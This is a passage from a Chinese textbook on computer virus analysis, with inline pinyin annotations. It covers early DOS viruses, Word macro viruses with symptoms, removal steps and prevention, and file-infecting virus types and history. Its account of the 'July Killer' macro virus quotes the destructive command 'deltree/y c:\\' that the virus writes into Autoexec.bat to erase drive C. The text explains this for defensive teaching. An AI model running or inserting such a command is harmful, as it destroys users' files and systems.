- 計(jì)算機(jī)病毒分析與防范大全(第3版)
- 王建鋒 鐘瑋 楊威編著
- 18字
- 2018-12-27 20:07:19
第二篇 計(jì)算機(jī)病毒分析
第4章 追根溯源——傳統(tǒng)計(jì)算機(jī)病毒概述
4.1 早期的DOS病毒介紹
4.1.1 DOS操作系統(tǒng)簡(jiǎn)介
DOS(Disk Operating System)是磁盤操作系統(tǒng)的英文縮寫。1981年,微軟正式發(fā)布MS-DOS 1.0。1983年3月,微軟公司發(fā)布了MS-DOS 2.0,這個(gè)版本與以前相比有了很大改進(jìn),它可以靈活地支持外部設(shè)備,同時(shí)引進(jìn)了UNIX系統(tǒng)的目錄樹文件管理模式。后來,MS-DOS漸漸成為了16位操作系統(tǒng)的標(biāo)準(zhǔn)。
MS-DOS的最后一個(gè)版本是6.22版,這以后的DOS就和Windows相結(jié)合了。6.22版的MS-DOS已經(jīng)是一個(gè)十分完善的版本,其眾多的內(nèi)部、外部命令使用戶可以比較簡(jiǎn)單地對(duì)電腦進(jìn)行操作,此外其穩(wěn)定性和可擴(kuò)展性也都十分出色。
DOS操作系統(tǒng)具有文件管理方便、外設(shè)支持良好、兼容性好和小巧穩(wěn)定等優(yōu)點(diǎn)。但與此同時(shí),DOS是一個(gè)單用戶、單任務(wù)的操作系統(tǒng),因此使用起來有很大的局限性。此外,DOS采用不直觀的字符操作界面,對(duì)多媒體的支持也很有限,所以,DOS系統(tǒng)后來逐漸退出了歷史舞臺(tái),并被Windows操作系統(tǒng)所代替。
4.1.2 DOS病毒
DOS病毒是指針對(duì)DOS操作系統(tǒng)開發(fā)的病毒,是出現(xiàn)最早、數(shù)量最多、變種也最多的計(jì)算機(jī)病毒。由于Windows操作系統(tǒng)的出現(xiàn),病毒制造者大多已經(jīng)不再制作新的DOS病毒了,因此,DOS病毒幾乎絕跡。DOS病毒大多數(shù)只能在DOS環(huán)境下運(yùn)行和傳染。但某些DOS病毒在Win9x環(huán)境中仍可以進(jìn)行感染活動(dòng),因此若執(zhí)行染毒文件,Win9x用戶也會(huì)被感染。有相當(dāng)一部分DOS病毒可在Windows的DOS窗口下運(yùn)行并傳播。一部分DOS病毒在Windows下運(yùn)行時(shí),可能會(huì)導(dǎo)致系統(tǒng)死機(jī)或程序運(yùn)行異常。
目前發(fā)現(xiàn)的所有病毒中有一半以上都是DOS病毒,雖然DOS病毒數(shù)量眾多,但是無(wú)論從破壞程度還是從傳播速度上來講,都無(wú)法與諸如蠕蟲、漏洞攻擊類病毒相提并論。大部分DOS病毒都是制造者通過對(duì)公開代碼進(jìn)行一定變形而制作的惡作劇,這些病毒的絕大部分是感染DOS可執(zhí)行文件,如:EXE文件,COM文件,或者是BAT文件等。此外,大部分DOS病毒都有一個(gè)共同的特性,即通常在特定條件下發(fā)作,破壞性比較嚴(yán)重的病毒會(huì)破壞硬盤中的重要資料,甚至重新格式化(Format)硬盤。比如,米開朗基羅病毒在每年3月6日發(fā)作,當(dāng)用戶開機(jī)時(shí),病毒會(huì)對(duì)用戶的硬盤進(jìn)行格式化。
早期常見的以日期為發(fā)作條件的病毒的發(fā)作現(xiàn)象如表4-1所示。
表4-1 以日期為發(fā)作條件的病毒發(fā)作現(xiàn)象

由于Windows等圖形界面操作系統(tǒng)的開發(fā)和普及,DOS操作系統(tǒng)已經(jīng)逐漸退出了歷史舞臺(tái),攻擊DOS系統(tǒng)的病毒也隨之越來越少。雖然現(xiàn)在新開發(fā)的DOS病毒幾乎絕跡,但是,DOS病毒在反病毒的歷史上仍然占有不可替代的地位。
4.2 Office殺手——宏病毒
4.2.1 什么是“宏”
宏(Macro)是微軟公司出品的Office軟件包中所包含的一項(xiàng)特殊功能。微軟設(shè)計(jì)此項(xiàng)功能的主要目的是給用戶自動(dòng)執(zhí)行一些重復(fù)性的工作提供方便。它利用簡(jiǎn)單的語(yǔ)法,把常用的動(dòng)作寫成宏,用戶工作時(shí),就可以直接利用事先編好的宏自動(dòng)運(yùn)行,以完成某項(xiàng)特定的任務(wù),而不必反復(fù)重復(fù)相同的動(dòng)作。
我們?cè)谑褂肳ord時(shí)使用的通用模板(Normal.dot)里面就包含了基本的宏。只要一啟動(dòng)Word,就會(huì)自動(dòng)運(yùn)行Normal.dot文件。如果在Word中重復(fù)進(jìn)行某項(xiàng)工作,可利用宏使其自動(dòng)執(zhí)行。現(xiàn)在很多大公司都比較注重企業(yè)形象,在對(duì)內(nèi)、對(duì)外發(fā)放的文檔中都要在頁(yè)眉或頁(yè)腳處加入公司的LOGO和聯(lián)系方式,為了避免在每次編輯文檔時(shí)反復(fù)添加這些內(nèi)容,可以只對(duì)Normal.dot進(jìn)行編輯,完成編輯后,當(dāng)用戶再次運(yùn)行Word創(chuàng)建任何一個(gè)文檔時(shí)都會(huì)含有Normal.dot中的慣用選項(xiàng),這樣就大大簡(jiǎn)化了工作,方便了用戶的使用。如圖4-1所示,除了Normal.dot以外,Word還提供了很多其他的模板,如我們?nèi)粘J褂玫泥]件、傳真、簡(jiǎn)歷等。

圖4-1 Word常用模板
Office中為Word提供了兩種創(chuàng)建宏的方法——宏錄制器和Visual Basic編輯器。宏將一系列的Word命令和指令組合在一起,形成一個(gè)命令,以實(shí)現(xiàn)執(zhí)行任務(wù)的自動(dòng)化。
微軟的Word Visual Basic for Application(VBA)是宏語(yǔ)言的標(biāo)準(zhǔn)。隨著應(yīng)用軟件的進(jìn)步,宏語(yǔ)言的功能也越來越強(qiáng)大。利用宏語(yǔ)言不僅可以實(shí)現(xiàn)幾乎所有的操作,還可以實(shí)現(xiàn)一些應(yīng)用軟件原來沒有的功能。每個(gè)模板或數(shù)據(jù)文件中都可以包含宏命令。
4.2.2 宏病毒的定義
宏病毒正是利用Word VBA進(jìn)行編寫的一些宏(早期的宏病毒都是用Word VBA語(yǔ)言編寫的),不過這些宏的應(yīng)用不是為了給人們的工作提供便利,而是會(huì)破壞文檔,使人們的工作遭受損失。宏病毒是一種寄存在文檔或模板的宏中的計(jì)算機(jī)病毒,是利用Microsoft Office的開放性(即Word中提供的VBA編程接口)專門制作的一個(gè)或多個(gè)具有病毒特點(diǎn)的宏的集合。例如,W2KM.PSD.DOC病毒(發(fā)作現(xiàn)象如圖4-2所示),當(dāng)日期和分鐘數(shù)相同時(shí),會(huì)在word文檔中隨機(jī)添加n個(gè)n種顏色的n邊形(n為隨機(jī)數(shù)量),嚴(yán)重地干擾用戶正常地編輯文檔。
一旦打開含有宏病毒的文檔,其中的宏就會(huì)被執(zhí)行,于是宏病毒就會(huì)被激活,轉(zhuǎn)移到計(jì)算機(jī)中并駐留在Normal模板上。從此以后,所有自動(dòng)保存的文檔都會(huì)“感染”上這種宏病毒,而且如果其他用戶打開了感染了病毒的文檔,宏病毒又會(huì)轉(zhuǎn)移到該用戶的計(jì)算機(jī)上。

圖4-2 宏病毒的發(fā)作現(xiàn)象
4.2.3 宏病毒的特點(diǎn)
第一個(gè)宏病毒出現(xiàn)在1995年,大面積暴發(fā)并造成較大危害的宏病毒是著名的“臺(tái)灣一號(hào)”病毒。在病毒最為猖獗的1997年,高峰時(shí)每周甚至有近千個(gè)新的病毒出現(xiàn),其中絕大多數(shù)都是宏病毒,因此,1997年也被稱之為“宏病毒年”。那時(shí),宏病毒可以算是比較“先進(jìn)”的病毒,傳播方式也比較獨(dú)特。
綜合來看,宏病毒有以下幾個(gè)特點(diǎn)。
(1)病毒原理簡(jiǎn)單,制作比較方便。
宏病毒用Word VBA語(yǔ)言編寫,Word VBA語(yǔ)言提供了許多系統(tǒng)級(jí)底層調(diào)用,如直接使用DOS系統(tǒng)命令,調(diào)用Windows API,調(diào)用DDE、DLL等。這些操作均可能對(duì)系統(tǒng)直接構(gòu)成威脅。目前,世界上的宏病毒原型已有幾十種,大部分Word宏病毒并沒有使用Word提供的Execute—Only處理函數(shù)處理,它們?nèi)蕴幱诳纱蜷_閱讀修改狀態(tài)。就算沒有宏病毒編寫經(jīng)驗(yàn)的人也可以輕易地改寫出宏病毒的變種。
(2)傳播速度相對(duì)較快。
Word宏病毒通過DOC文檔及DOT模板進(jìn)行自我復(fù)制及傳播,并且利用互聯(lián)網(wǎng)、電子郵件大面積傳播。由于初期使用者對(duì)Word軟件本身的特性不了解,對(duì)外來的文檔、文件基本是直接瀏覽使用,這就給Word宏病毒傳播帶來了很多便利的條件。
(3)病毒宏中必然含有對(duì)文檔讀寫操作的宏指令。
(4)宏病毒在DOC文檔、DOT模板中以BFF(BinaryFileFormat)格式存放。
4.2.4 宏病毒的發(fā)作現(xiàn)象及處理
圖4-3所示是被宏病毒感染后的Word文件中的病毒體。

圖4-3 被宏病毒感染后的Word文件中的病毒體
圖4-3中矩形框標(biāo)注的部分是病毒在修改注冊(cè)表中保存的Word的安全級(jí)別,其注冊(cè)表路徑為:
HKEY_CURRENT_USER\Software\Microsoft\Office\xxxx\Word\Securtiy。橢圓形標(biāo)注的部分是宏病毒要傳播的代碼。其中引用了NormalTemplate對(duì)象,此對(duì)象對(duì)應(yīng)的就是Normal.dot文件。病毒感染此模板文件后,每當(dāng)新建一個(gè)Word文件時(shí),文件就會(huì)帶有病毒體了。因此,只要在Word宏中發(fā)現(xiàn)了類似這兩處中的任意一處的標(biāo)記,就可以基本上判定此文件已經(jīng)被病毒感染。
宏病毒雖然已不再是目前的主流病毒,但是,如果用戶使用的Office軟件版本較低,或者經(jīng)常與朋友或客戶交換文檔資料,那么,最好仔細(xì)回想或檢驗(yàn)一下,是否發(fā)生過下面的情況:
(1)嘗試保存文檔時(shí)(如圖4-4所示),Word只允許將文檔保存為文檔模板的格式(*.dot)。
(2)Word文檔圖標(biāo)的外形類似模板圖標(biāo)而非文檔圖標(biāo)。文檔圖標(biāo)與模板圖標(biāo)的區(qū)別如圖4-5所示。

圖4-4 Word只允許將文檔保存為文檔模板格式

圖4-5 文檔圖標(biāo)與模板圖標(biāo)
(3)在工具菜單上指向宏并單擊宏后,程序無(wú)任何響應(yīng),或工具菜單上不再顯示宏或自定義菜單項(xiàng)。
(4)宏列表中出現(xiàn)新宏(在工具菜單上,鼠標(biāo)指向宏,然后單擊宏)。例如,如果帶有諸如AutoOpen、AutoNew、AutoExec、FileSaveAs這樣一些名稱的宏,或一些名字很怪的宏,如AAAZAO、PayLoad等,就說明極有可能是感染了宏病毒,因?yàn)镹ormal模板中是不包含這些宏的。
(5)打開Word文檔或模板時(shí)顯示異?;蛞馔庀?。
(6)如果打開一個(gè)文檔后未經(jīng)任何改動(dòng),立即就有存盤操作,也有可能是因?yàn)樵揥ord文檔帶有病毒。
如果在使用文檔時(shí)出現(xiàn)過上述現(xiàn)象,那么很可能是由于感染了宏病毒。除了用最新的殺毒軟件產(chǎn)品查殺病毒外,還可以按照微軟官方推薦的以下方法進(jìn)行簡(jiǎn)單處理:
(1)在打開懷疑感染了宏病毒的文件時(shí)按住Shift鍵。如果在打開文檔或模板時(shí)按住Shift鍵(或在啟動(dòng)Word時(shí)按住Shift鍵),將避免宏自動(dòng)運(yùn)行;如果存在宏病毒,將不會(huì)加載宏。
(2)可利用管理器重命名Normal.dot或刪除宏列表中的可疑的宏(如圖4-6所示)。

圖4-6 重命名Normal.dot或刪除宏列表中的可疑的宏
(3)將文件插入新文檔。啟動(dòng)Word,打開一個(gè)新的空白文檔。在插入菜單上,單擊文件。選中受影響的文件,然后單擊打開。刪除宏列表中可疑的宏。用另一個(gè)文件名保存新文檔,然后刪除受感染的文件。
當(dāng)然,最簡(jiǎn)便的方法還是用最新版的殺毒軟件對(duì)宏病毒進(jìn)行查殺。
4.2.5 典型的宏病毒——“七月殺手”病毒
“七月殺手”病毒是一個(gè)典型的宏病毒。該病毒是一種具有極大的隱蔽性和破壞性的,由國(guó)內(nèi)黑客編寫的中文Word 97宏病毒。
1.“七月殺手”病毒的破壞和表現(xiàn)
顧名思義,“七月殺手”病毒是一個(gè)以日期為觸發(fā)條件的宏病毒,只感染Office 97和Office 2000產(chǎn)生的Word文件?!捌咴職⑹帧辈《驹?月1日至31日期間發(fā)作,在此期間,受到病毒感染的用戶在使用Word時(shí),病毒會(huì)彈出一個(gè)標(biāo)題為“醒世恒言”的簡(jiǎn)體中文對(duì)話框,框內(nèi)的文字含有一些非常偏激的話,如“當(dāng)今世界太黑暗,太不公平”等,病毒逼迫用戶用“確定”鍵表示與其觀點(diǎn)一致,如果一直選擇“確定”,將會(huì)出現(xiàn)“恭喜你是個(gè)智者”的對(duì)話框,如果連續(xù)3次選擇“取消”,將會(huì)出現(xiàn)“現(xiàn)在,上帝就要懲罰你……”的文字。該病毒會(huì)讓用戶硬盤中C盤根目錄下的自動(dòng)批處理文件“Autoexec.bat”將原來內(nèi)容全部刪除,并寫進(jìn)一個(gè)具有破壞性的命令代碼:“deltree/y c:\”,從而當(dāng)用戶再次啟動(dòng)計(jì)算機(jī)時(shí),用戶C盤下的所有文件都將被刪除,致使計(jì)算機(jī)系統(tǒng)無(wú)法啟動(dòng)。該病毒是一種非常有害的惡性病毒。
2.“七月殺手”病毒的機(jī)理
該病毒能感染W(wǎng)ord 97和Word 2000中的DOT及DOC文件,感染通用模板文件Normal.dot,并通過它來感染其他未被感染的或新建立的DOC文件。它與其他宏病毒的不同之處在于:當(dāng)首次打開帶毒的文件時(shí),病毒會(huì)在C盤根目錄下復(fù)制一個(gè)名為Autoexec.dot的病毒附本,該文件中隱藏著該病毒的所有代碼。
當(dāng)Word運(yùn)行時(shí),會(huì)自動(dòng)調(diào)用Autoexec.dot文件,此時(shí)病毒會(huì)被激活,從而搶先感染通用模板文件Normal.dot,該病毒會(huì)自動(dòng)關(guān)閉Word系統(tǒng)“工具”中的“宏”、“模板和加載項(xiàng)”及“自定義”項(xiàng),因而使用戶看不到當(dāng)前Word文檔的宏病毒,所以不能使用簡(jiǎn)單的“手工刪除”方法來刪除宏病毒。此外,該病毒還會(huì)“以毒攻毒”,若文件中還有其他宏病毒,它會(huì)將其殺掉,從而獨(dú)霸計(jì)算機(jī)。
3.“七月殺手”處理建議
根據(jù)該病毒的特性,如果用戶的系統(tǒng)中沒有安裝殺毒軟件,可以將電腦的系統(tǒng)時(shí)間臨時(shí)改為7月之前或7月之后,以避開病毒的激發(fā)日期。此外,為了防止該病毒使用Deltree命令進(jìn)行破壞,可以將電腦中的C:\windows\command\deltree.exe改為其他名稱。如果已經(jīng)感染了“七月殺手”病毒,那么當(dāng)該病毒發(fā)作時(shí),應(yīng)連續(xù)按下“確定”鍵,以避免病毒的激發(fā),如果誤按下“取消”鍵,應(yīng)立即將C盤根目錄下Autoexec.bat文件中的Deltree命令行刪除。然而最徹底的方法是使用帶有實(shí)時(shí)監(jiān)控的查殺病毒軟件,這樣做既可將病毒完全清除,又可在該病毒入侵系統(tǒng)前徹底對(duì)系統(tǒng)進(jìn)行查毒,使病毒根本無(wú)法進(jìn)入系統(tǒng)。
4.2.6 防范宏病毒的安全建議
為了有效防范宏病毒,建議采取以下措施:
(1)提高安全級(jí)別。目前較高版本的Word軟件(如Word 2000、Word XP、Word 2003等)都為用戶提供3~4個(gè)安全級(jí)別來進(jìn)行宏病毒的防范。在不影響正常工作學(xué)習(xí)的前提下,建議用戶使用較高的安全級(jí)別來避免宏病毒的感染。如圖4-7所示,在宏安全性選項(xiàng)中,最好將安全級(jí)別提高到“高”。
(2)刪除既不是自定義的也不是Word默認(rèn)提供的宏。
(3)按照自己的使用習(xí)慣設(shè)置Normal.dot模板并進(jìn)行備份。當(dāng)被病毒感染時(shí),用備份的Normal.dot模板覆蓋當(dāng)前的Normal.dot模板可以起到消除宏病毒的作用。
(4)如果懷疑外來的不明文件含有宏病毒,可以先用不調(diào)用任何宏的寫字板打開該文件,然后再將文本粘貼到Word中。轉(zhuǎn)換后的文檔是不含有任何宏的。
(5)如果用戶平時(shí)只進(jìn)行普通的文字處理,很少使用宏編程,對(duì)Normal.dot模板也很少修改,可以設(shè)置“提示保存Normal模板”功能。如果宏病毒感染了Word文檔,當(dāng)用戶從Word退出時(shí),Word會(huì)給出“更改的內(nèi)容會(huì)影響到公用模板Normal,是否保存這些修改內(nèi)容?”的提示,這說明Word已感染了宏病毒。這時(shí)應(yīng)選擇“否”,退出后用其他方法殺毒。如圖4-8所示,用戶在打開Word程序后,可以依次選擇“工具”→“選項(xiàng)”→“保存”,在“保存”選項(xiàng)中,選擇“提示保存Normal模板”功能。

圖4-7 宏安全性選項(xiàng)

圖4-8 依次選擇“工具”→“選項(xiàng)”→“保存”→“提示保存Normal”選項(xiàng)
4.3 變化多端的文件型病毒
文件型病毒是指能夠寄生在文件中的以文件為主要感染對(duì)象的病毒。這類病毒程序感染可執(zhí)行文件或數(shù)據(jù)文件。如DosCom.Virus.Brain.a病毒和PE-Funlove病毒感染.COM和.EXE等可執(zhí)行文件;Macro.BadBoy和Macro.BUG-A等宏病毒感染.DOC文件。文件型病毒是所有病毒種類中數(shù)量最龐大的一種。
4.3.1 文件型病毒的復(fù)制機(jī)制
典型的文件病毒通過以下的方式載入并復(fù)制自己:
(1)當(dāng)一個(gè)被感染的程序運(yùn)行之后,病毒控制后臺(tái)及后續(xù)操作。如果該病毒是一個(gè)宏病毒,那么當(dāng)打開一個(gè)帶有宏程序的文檔(Word,Excel)時(shí),病毒就開始控制系統(tǒng)。
(2)如果這個(gè)病毒是常駐內(nèi)存型的,則會(huì)將自己載入內(nèi)存,監(jiān)視文件運(yùn)行并打開服務(wù)的調(diào)用。當(dāng)系統(tǒng)調(diào)用該類操作時(shí),病毒將感染新的文件。
(3)如果該病毒不是常駐內(nèi)存型的,則會(huì)立刻找尋一個(gè)新的感染對(duì)象,該對(duì)象可能是當(dāng)前目錄中的第一個(gè)文件、一個(gè)固定的DOS目錄文件或者是設(shè)計(jì)病毒的人預(yù)先定義的某個(gè)文件,然后取得這個(gè)原始文件的控制權(quán)。
4.3.2 文件型病毒的分類
文件型病毒的分類方式?jīng)]有統(tǒng)一的規(guī)范,但是國(guó)際上普遍認(rèn)可的分類方式有按照病毒的算法分類和按照操作系統(tǒng)分類。
根據(jù)病毒特有的算法,文件型病毒可以劃分為以下幾種。
1.伴隨型病毒
這一類病毒并不改變被感染的文件本身,它們根據(jù)算法產(chǎn)生.EXE文件的伴隨體,該伴隨體具有與文件同樣的名字和不同的擴(kuò)展名(.COM)。例如,XCOPY.EXE的伴隨體是XCOPY.COM。病毒把自身寫入.COM文件且不改變.EXE文件,當(dāng)DOS加載文件時(shí),伴隨體優(yōu)先被執(zhí)行,然后再由伴隨體加載執(zhí)行原來的.EXE文件。
2.“蠕蟲”型病毒
這種病毒通過計(jì)算機(jī)網(wǎng)絡(luò)傳播(主要是電子郵件),不改變文件和資料信息,利用網(wǎng)絡(luò)從一臺(tái)機(jī)器傳播到其他的機(jī)器,將自身通過網(wǎng)絡(luò)發(fā)送。它們有時(shí)存在于系統(tǒng)中,除了內(nèi)存和硬盤之外一般不占用其他資源。我們將在第5章詳細(xì)講解“蠕蟲”病毒。
3.寄生型病毒
除了伴隨和“蠕蟲”型病毒之外,其他病毒均可稱為寄生型病毒。它們依附在系統(tǒng)的引導(dǎo)扇區(qū)或文件中,通過系統(tǒng)的功能進(jìn)行傳播。這類病毒按照算法可分為:
(1)練習(xí)型病毒:病毒自身包含錯(cuò)誤,不能進(jìn)行有效的傳播或破壞。有很多惡性病毒都是先炮制出練習(xí)型病毒之后再不斷改進(jìn)的。例如,一些處在調(diào)試階段的病毒。
(2)詭秘型病毒:這種類型的病毒一般不直接修改DOS中斷和扇區(qū)數(shù)據(jù),而是通過設(shè)備技術(shù)和文件緩沖區(qū)等對(duì)DOS內(nèi)部調(diào)用進(jìn)行修改,使一般使用者不易看到資源的占用情況。這種病毒采用比較高級(jí)的技術(shù),利用DOS的空閑數(shù)據(jù)區(qū)進(jìn)行工作。
(3)變型病毒(又稱幽靈病毒):隨著匯編語(yǔ)言的發(fā)展,這類病毒使用一個(gè)復(fù)雜的算法,使自己每感染一次都具有不同的內(nèi)容和長(zhǎng)度。其一般做法是采用一段混有無(wú)關(guān)指令的解碼算法和被變化過的病毒體。
4.3.3 文件型病毒的發(fā)展史
在病毒的發(fā)展史上,文件型病毒的出現(xiàn)是比較有規(guī)律的。一般情況下,在一種新的病毒技術(shù)出現(xiàn)后,病毒會(huì)迅速發(fā)展,緊接著反病毒技術(shù)也會(huì)得到發(fā)展以抑制其流傳。當(dāng)操作系統(tǒng)升級(jí)時(shí),病毒也會(huì)演變出新的方式,產(chǎn)生新的病毒技術(shù)。文件型病毒可以分為以下幾類:
1.DOS可執(zhí)行階段的病毒
1989年,可執(zhí)行文件型病毒出現(xiàn),它們利用DOS系統(tǒng)加載可執(zhí)行文件的機(jī)制工作。其代表為“耶路撒冷”和“星期天”病毒。病毒代碼在系統(tǒng)執(zhí)行可執(zhí)行文件時(shí)取得控制權(quán),修改DOS中斷,在系統(tǒng)調(diào)用時(shí)進(jìn)行傳染,并將自己附加在可執(zhí)行文件中,使文件長(zhǎng)度增加。這類病毒可感染COM和EXE文件。
2.伴隨型與批次型階段的病毒
1992年,伴隨型病毒出現(xiàn),它們利用DOS加載文件的優(yōu)先順序進(jìn)行工作。具有代表性的是“金蟬”病毒,它在感染EXE文件時(shí)生成一個(gè)和EXE同名的擴(kuò)展名為.COM的伴隨體;在感染COM文件時(shí)把原來的COM文件改為同名的EXE文件,而且產(chǎn)生一個(gè)與原文件同名的伴隨體,其擴(kuò)展名為.COM。這樣,在DOS加載文件時(shí),病毒就會(huì)取得控制權(quán)。這類病毒的特點(diǎn)是不改變?cè)瓉淼奈募?nèi)容、日期及屬性,清除病毒時(shí)只要將其伴隨體刪除即可。在非DOS操作系統(tǒng)中,一些伴隨型病毒利用操作系統(tǒng)的描述語(yǔ)言進(jìn)行工作,具有代表性的是“海盜旗”病毒,它在執(zhí)行時(shí)詢問用戶名稱和口令,然后返回一個(gè)出錯(cuò)信息,之后將自身刪除。批次型病毒是工作在DOS下的與“海盜旗”病毒類似的病毒。
3.幽靈與多形型階段的病毒
1994年,隨著匯編語(yǔ)言的發(fā)展,人們可以用不同方式實(shí)現(xiàn)同一功能,這些方式的組合使一段看似隨機(jī)的代碼產(chǎn)生相同的運(yùn)算結(jié)果。幽靈病毒就是利用這個(gè)特點(diǎn),每感染一次就產(chǎn)生不同的代碼。例如,“One Half”病毒就是產(chǎn)生一段有上億種可能的解碼運(yùn)算程序,病毒體被隱藏在這些加密的數(shù)據(jù)中。要查解這類病毒,必須能對(duì)這段數(shù)據(jù)進(jìn)行解碼,從而加大了查毒的難度。多形型病毒是一種綜合性病毒,它既能感染引導(dǎo)區(qū)又能感染程序區(qū)。多數(shù)幽靈病毒都具有解碼算法,一種病毒往往需要兩段以上的子程序才能徹底清除。
4.生成器與變體機(jī)階段的病毒
1995年,在匯編語(yǔ)言中,一些數(shù)據(jù)的運(yùn)算被放在不同的通用寄存器中進(jìn)行,但卻得出了同樣的結(jié)果,隨機(jī)插入的一些空操作和無(wú)關(guān)指令并沒有影響運(yùn)算的結(jié)果,這樣,一段解碼算法就可以由生成器生成。當(dāng)生成的是病毒時(shí),這種稱之為病毒生成器和變體機(jī)的軟件就產(chǎn)生了。具有代表性的是“病毒制造機(jī)”(VCL),它可以在瞬間制造出成千上萬(wàn)種不同的病毒。查殺這類病毒時(shí)就不能使用傳統(tǒng)的特征碼掃描法,而是需要在宏觀上分析指令,解碼后查殺病毒。變體機(jī)就是增加解碼復(fù)雜程度的指令生成機(jī)制。
5.網(wǎng)絡(luò)和蠕蟲階段的病毒
1995年,隨著網(wǎng)絡(luò)的普及,病毒開始利用網(wǎng)絡(luò)進(jìn)行傳播,這些病毒只是以上幾代病毒的改進(jìn)。在非DOS操作系統(tǒng)中,“蠕蟲”最具代表性,它不修改磁盤文件,而是利用網(wǎng)絡(luò)功能搜索網(wǎng)絡(luò)地址,將自身向下一個(gè)地址進(jìn)行傳播。這種病毒有時(shí)也存在于網(wǎng)絡(luò)服務(wù)器和啟動(dòng)文件中。
6.視窗階段的病毒
1996年,隨著Windows和Windows 95的日益普及,利用Windows進(jìn)行工作的病毒開始得到發(fā)展。這類病毒修改(NE,PE)文件,其代表是V 3783病毒。這類病毒的工作機(jī)制更為復(fù)雜,它們利用保護(hù)模式和API調(diào)用接口工作,清除方法也比較復(fù)雜。
7.宏病毒階段的病毒
1996年,隨著Windows Word功能的增強(qiáng),使用Word宏語(yǔ)言也可以編制病毒,這種病毒使用類Basic語(yǔ)言,容易編寫且源代碼幾乎公開,其作用是感染W(wǎng)ord文檔文件。在Excel中出現(xiàn)的相同工作機(jī)制的病毒也歸為此類。由于當(dāng)時(shí)Word文檔格式?jīng)]有公開,所以這類病毒的查殺在當(dāng)時(shí)比較困難。
8.互聯(lián)網(wǎng)階段的病毒
1997年,隨著互聯(lián)網(wǎng)的發(fā)展,各種病毒也開始利用互聯(lián)網(wǎng)進(jìn)行傳播,一些攜帶病毒的數(shù)據(jù)包和郵件越來越多,如果不小心打開了這些郵件,機(jī)器就有可能中毒?,F(xiàn)在新出現(xiàn)的互聯(lián)網(wǎng)病毒大部分屬于蠕蟲類病毒。
4.3.4 文件型病毒簡(jiǎn)介
這里我們將按照操作系統(tǒng)的發(fā)展來介紹文件型病毒,從而有助于讀者對(duì)病毒的發(fā)展情況有一個(gè)全面的了解。
1.DOS病毒
若要運(yùn)行一個(gè)程序,首先要由操作系統(tǒng)把它從存儲(chǔ)介質(zhì)調(diào)入到內(nèi)存中,然后才能運(yùn)行它以完成計(jì)算或處理任務(wù)。在PC機(jī)環(huán)境中,被運(yùn)行的程序通常是從軟盤或硬盤中調(diào)入內(nèi)存的。除了特別設(shè)計(jì)的內(nèi)存駐留型程序外,一般的程序在運(yùn)行結(jié)束之后會(huì)將其在運(yùn)行期間占用的內(nèi)存全部釋放給系統(tǒng),供下一個(gè)被運(yùn)行的程序使用。計(jì)算機(jī)病毒是一種特殊的程序,因此它使用內(nèi)存的方式與常規(guī)程序使用內(nèi)存的方式有很多共同之處,然而也有其特點(diǎn)。這需要按病毒的類型來分析。
最早的DOS病毒都是引導(dǎo)型病毒,它的病毒體寄生在硬盤的主引導(dǎo)扇區(qū),在計(jì)算機(jī)啟動(dòng)的時(shí)候從磁盤的引導(dǎo)扇區(qū)被ROM BIOS中的引導(dǎo)程序讀入內(nèi)存。正常的引導(dǎo)扇區(qū)信息在被ROM BIOS讀入內(nèi)存后,該扇區(qū)的引導(dǎo)程序會(huì)完成對(duì)DOS系統(tǒng)的加載,然后該信息會(huì)自動(dòng)被DOS系統(tǒng)覆蓋,在內(nèi)存中不會(huì)留下任何痕跡。而引導(dǎo)區(qū)病毒則不能像正常引導(dǎo)程序那樣被覆蓋,否則就無(wú)法繼續(xù)進(jìn)行傳播了。因此,各種引導(dǎo)區(qū)病毒全部是駐留內(nèi)存型的,檢測(cè)程序可以通過各種方法發(fā)現(xiàn)引導(dǎo)型病毒在內(nèi)存中的位置?!靶∏颉?、“大麻”、“米開朗基羅”等引導(dǎo)區(qū)病毒的共同特點(diǎn)就是在把控制權(quán)交給正常的引導(dǎo)程序去做進(jìn)一步的系統(tǒng)啟動(dòng)工作之前,首先把自己搬移到內(nèi)存的高端。這樣可以保證自身不會(huì)被覆蓋。另外,它還修改DOS對(duì)于內(nèi)存的調(diào)用,減少DOS的可用內(nèi)存空間,并且將自己隱藏在被減少的內(nèi)存空間中。不同的引導(dǎo)病毒占用的內(nèi)存數(shù)量不同,具體如下:
小球病毒 2KB
大麻病毒 2KB
巴基斯坦智囊病毒 7KB
在查看DOS的可用內(nèi)存時(shí)如果發(fā)現(xiàn)可用內(nèi)存減少,則說明很可能是被內(nèi)存駐留型病毒感染。
與引導(dǎo)型病毒不同,當(dāng)文件型病毒被加載到內(nèi)存時(shí),內(nèi)存已經(jīng)在DOS的管理之下了。文件型病毒按使用內(nèi)存的方式也可以分為駐留內(nèi)存和非駐留內(nèi)存兩類,其中駐留內(nèi)存病毒占絕對(duì)多數(shù)。
駐留內(nèi)存的文件病毒非常多,比如“1575”、“dir2”、“4096”、“中國(guó)炸彈”等。這種病毒一般把自身加到高端內(nèi)存,這樣既不易被內(nèi)存信息顯示程序發(fā)現(xiàn),又使DOS察覺不到內(nèi)存總數(shù)的減少。病毒在計(jì)算機(jī)基本保持工作狀態(tài)的情況下以用戶不易察覺的方式進(jìn)行感染。若病毒掛接在系統(tǒng)中,當(dāng)用戶進(jìn)行正常的操作(如用DIR命令或COPY命令)時(shí),隱藏在內(nèi)存中的病毒在系統(tǒng)完成操作之前就先進(jìn)行傳染操作。
不駐留內(nèi)存的病毒有“維也納”病毒、“Syslock”病毒,“Taiwan”病毒等,這些不駐留內(nèi)存的病毒既可以只感染.COM文件也可以只感染.EXE文件。它們采用的感染方法是運(yùn)行一次后就在硬盤上尋找一個(gè)未被感染的文件進(jìn)行感染。當(dāng)程序運(yùn)行完成后,病毒代碼離開內(nèi)存且不在內(nèi)存中留下任何痕跡。這類病毒比較隱蔽,但是它的傳播速度沒有駐留內(nèi)存型病毒快。
